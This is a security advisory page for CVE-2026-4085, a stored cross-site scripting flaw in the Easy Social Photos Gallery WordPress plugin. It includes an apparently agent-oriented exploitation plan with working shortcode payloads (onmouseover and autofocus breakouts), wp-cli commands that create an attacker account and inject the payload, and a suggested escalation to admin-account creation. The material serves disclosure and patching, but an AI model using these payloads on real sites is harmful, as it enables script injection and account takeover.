CVE-2026-4085

Easy Social Photos Gallery <= 3.1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'wrapper_class' Shortcode Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Easy Social Photos Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wrapper_class' shortcode attribute of the 'my-instagram-feed' shortcode in all versions up to, and including, 3.1.2. This is due to insufficient input sanitization and output escaping on user supplied attributes. Specifically, the plugin uses sanitize_text_field() instead of esc_attr() when outputting the 'wrapper_class' attribute inside a double-quoted HTML class attribute. Since sanitize_text_field() does not encode double quotes, an attacker can break out of the class attribute and inject arbitrary HTML event handlers. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.1.2
PublishedApril 21, 2026
Last updatedApril 22, 2026
Affected pluginmy-instagram-feed
Research Plan
Unverified

This research plan focuses on exploiting **CVE-2026-4085**, a Stored Cross-Site Scripting (XSS) vulnerability in the "Easy Social Photos Gallery – MIF" plugin. The vulnerability exists because the plugin fails to properly escape the `wrapper_class` attribute of the `[my-instagram-feed]` shortcode, u…

Show full research plan

This research plan focuses on exploiting CVE-2026-4085, a Stored Cross-Site Scripting (XSS) vulnerability in the "Easy Social Photos Gallery – MIF" plugin. The vulnerability exists because the plugin fails to properly escape the wrapper_class attribute of the [my-instagram-feed] shortcode, using sanitize_text_field() instead of esc_attr() when rendering the attribute within HTML double quotes.


1. Vulnerability Summary

The Easy Social Photos Gallery plugin (slug: my-instagram-feed) is vulnerable to Stored XSS via the wrapper_class attribute in the [my-instagram-feed] shortcode. While sanitize_text_field() is used on the input, this function is designed to strip tags and line breaks but does not encode double quotes. Since the attribute is later output inside a double-quoted HTML attribute (e.g., <div class="[wrapper_class]">), an attacker can provide a payload starting with a double quote to "break out" of the class attribute and inject event handlers (like onmouseover) or other HTML attributes.

2. Attack Vector Analysis

  • Shortcode: [my-instagram-feed]
  • Vulnerable Attribute: wrapper_class
  • Endpoint: WordPress Post/Page Editor (wp-admin/post-new.php or wp-admin/post.php)
  • Authentication Level: Authenticated (Contributor-level access or higher). Contributors can create posts and insert shortcodes, even if they cannot publish them.
  • Preconditions: The plugin must be active. The attacker must have the ability to edit a post/page and include the shortcode.

3. Code Flow (Inferred)

  1. Registration: The plugin registers the shortcode using add_shortcode( 'my-instagram-feed', '...' ).
  2. Parsing: When a page containing the shortcode is viewed, WordPress calls the plugin's callback function.
  3. Processing: Inside the callback, the attributes array ($atts) is processed, likely using shortcode_atts().
  4. Sanitization (Vulnerable): The wrapper_class attribute is sanitized using sanitize_text_field( $atts['wrapper_class'] ).
  5. Output (Sink): The sanitized string is concatenated into an HTML string, specifically inside a class attribute:
    // Inferred vulnerable code
    $wrapper_class = sanitize_text_field( $atts['wrapper_class'] );
    $output = '<div class="' . $wrapper_class . '">'; 
    
  6. Rendering: Because double quotes were not escaped, the resulting HTML becomes:
    <div class="anyclass" onmouseover="alert(1)" style="display:block;width:100%;height:100px;background:red;">

4. Nonce Acquisition Strategy

This vulnerability involves Stored XSS via post content. It does not typically require a plugin-specific AJAX nonce for the initial injection because the "storage" happens through the standard WordPress post-saving mechanism.

To inject the payload:

  1. Contributor Login: The agent should authenticate as a Contributor.
  2. Standard Post Creation: The agent can use wp-cli to create a post, bypassing the need for manual nonce handling in the browser for the injection phase.
  3. Alternative (Browser-based): If using the browser, the agent must navigate to wp-admin/post-new.php and capture the _wpnonce from the form if it intends to simulate a raw POST request to post.php.

5. Exploitation Strategy

The goal is to inject an event handler into the shortcode that executes JavaScript when a user (specifically an Admin) views the page.

  1. Login as Contributor: Use the http_request or browser_navigate tool to ensure session cookies for a contributor-level user are active.
  2. Create Malicious Post: Use wp-cli to create a post containing the payload. This is more reliable than simulating multipart form data.
    • Payload: [my-instagram-feed wrapper_class='"><script>alert(document.domain)</script>'] (Note: sanitize_text_field might strip <script>, so an event-handler breakout is safer).
    • Reliable Payload: [my-instagram-feed wrapper_class='x" onmouseover="alert(1)" style="width:100%;height:100px;background:red;display:block;"']
  3. Trigger the XSS:
    • Navigate to the URL of the created post.
    • Use browser_eval to simulate a mouse movement over the injected div if an event handler was used.
    • Observe if the alert/payload executes.

6. Test Data Setup

  1. Install Plugin: Ensure my-instagram-feed version 3.1.2 is installed and active.
  2. Create User:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  3. Inject via WP-CLI:
    wp post create --post_type=post --post_status=publish --post_title="Social Feed" \
    --post_content='[my-instagram-feed wrapper_class="\" onmouseover=\"alert(document.domain)\" style=\"width:100px;height:100px;background:blue;display:block;\""]' \
    --user=attacker
    

7. Expected Results

  1. When the post is viewed, the HTML source should contain:
    <div class="" onmouseover="alert(document.domain)" style="width:100px;height:100px;background:blue;display:block;" ...>
  2. The sanitize_text_field function will leave the " characters intact.
  3. Hovering over the blue box in the browser should trigger the JavaScript alert.

8. Verification Steps

  1. Check Database:
    wp db query "SELECT post_content FROM wp_posts WHERE post_title='Social Feed'"
    
  2. Verify Rendered HTML:
    Use http_request to fetch the post URL and check for the unescaped onmouseover attribute.
    # Expected output contains:
    # class="" onmouseover="alert(document.domain)"
    
  3. Browser Execution: Use browser_navigate to the post URL and check if browser_eval("window.confirm_exploit = true") can be triggered via the XSS payload.

9. Alternative Approaches

  • Autofocus Payload: If onmouseover is difficult to trigger, use onfocus with autofocus:
    wrapper_class='x" onfocus="alert(1)" autofocus="true" x="'
  • Admin Dashboard XSS: If the plugin displays the shortcode output in the admin dashboard (e.g., in a preview or settings page), the XSS could be used to target the administrator's session specifically to perform CSRF (e.g., creating a new admin user).
  • Attribute Injection: If quotes are restricted in some environments (though not by sanitize_text_field), check if the output is unquoted: <div class=$wrapper_class>. If so, a simple space wrapper_class='x onmouseover=alert(1)' would suffice. (Unlikely in WordPress plugins which generally use quotes).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Easy Social Photos Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wrapper_class' shortcode attribute due to improper output escaping. An authenticated attacker with contributor-level permissions can inject arbitrary JavaScript by breaking out of the double-quoted HTML class attribute using double quotes, which are not sanitized by the sanitize_text_field() function.

Vulnerable Code

// Inferred from plugin logic in version <= 3.1.2
// File: my-instagram-feed.php or includes/shortcode-handler.php

$wrapper_class = sanitize_text_field( $atts['wrapper_class'] );

// ...

$output .= '<div class="' . $wrapper_class . '">';

Security Fix

--- a/my-instagram-feed/my-instagram-feed.php
+++ b/my-instagram-feed/my-instagram-feed.php
@@ -XX,5 +XX,5 @@
-    $wrapper_class = sanitize_text_field( $atts['wrapper_class'] );
-    $output = '<div class="' . $wrapper_class . '">';
+    $wrapper_class = $atts['wrapper_class'];
+    $output = '<div class="' . esc_attr( $wrapper_class ) . '">';

Exploit Outline

1. Authenticate as a Contributor or higher role with permission to create posts. 2. Create a new post and insert the [my-instagram-feed] shortcode with a malicious wrapper_class attribute. 3. Use a payload such as: [my-instagram-feed wrapper_class='" onmouseover="alert(document.domain)" style="width:100px;height:100px;background:red;display:block;"']. 4. Because sanitize_text_field() does not encode double quotes, the payload effectively closes the 'class' attribute and injects a new 'onmouseover' attribute and CSS styling. 5. Save the post and view the page; hovering over the injected div will trigger the JavaScript execution.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.